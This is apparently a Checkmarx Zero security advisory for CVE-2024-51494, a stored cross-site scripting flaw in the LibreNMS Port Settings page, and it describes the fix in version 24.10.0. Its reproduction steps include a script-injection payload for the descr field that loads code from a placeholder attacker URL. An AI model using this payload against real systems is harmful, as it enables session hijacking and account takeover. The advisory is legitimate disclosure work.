---
title: "CVE-2024-51494"
date: "2024-11-14T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/"
---

# CVE-2024-51494

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Nov 5, 2024

CVE-2024-51494  **Published:** Nov 14, 2024

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')  7.5 High Severity librenms Stored-XSS XSS

RS Raphael Silva  Reported by Checkmarx Zero

Details Overview

## Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the “Port Settings” page of the `@LibreNMS/LibreNMS` project allows authenticated users to inject arbitrary JavaScript through the `descr` parameter when editing a device’s port settings. The payload is stored and executes when the Port Settings page is visited, potentially compromising user sessions.

## Product

This vulnerability affects LibreNMS versions prior to 24.10.0 in `librenms/app/Http/Controllers/Table/EditPortsController.php`.

## Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

## Steps to reproduce

1. Log into the LibreNMS web interface.
2. Edit a device’s port settings and set the **Description** (`descr`) field to the following payload:

    `lo'"><script/src=//<attacker-url>>`
3. Save the changes.
4. Navigate to the **Port Settings** page for that device.
5. Observe that the external script from `//<attacker-url>` is loaded and executed in your browser.

### Expected result:

The external script from `//<attacker-url>` is loaded and executed in the Port Settings page, demonstrating arbitrary JavaScript execution in the victim’s session.

## Remediation

Fixed in LibreNMS 24.10.0 by escaping the `$port->ifAlias` value in `app/Http/Controllers/Table/EditPortsController.php`, ensuring user-supplied input is HTML-encoded before rendering.

## Credit

This issue was discovered and reported by Checkmarx Security Researcher [Raphael Silva](https://www.linkedin.com/in/raphaelcssilva/).

## Resources

1. [GHSA-7663-37rg-c377](https://github.com/advisories/GHSA-7663-37rg-c377)
2. [Fix commit](https://github.com/librenms/librenms/commit/82a744bfe29017b8b58b5752ab9e1b335bedf0a0)
3. [NVD entry for CVE-2024-51494](https://nvd.nist.gov/vuln/detail/CVE-2024-51494)

0  High Severity CVSS v3.1 Score

   7.5

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: Low

Advisory Timeline1. Discovered Oct 9, 2024
2. Disclosed Oct 10, 2024
3. Fixed Nov 5, 2024 Patched in LibreNMS 24.10.0

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/) [14 Nov 2024 CVE-2024-49764  Stored Cross-site Scripting in @LibreNMS/LibreNMS Capture Debug Information   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-49764/)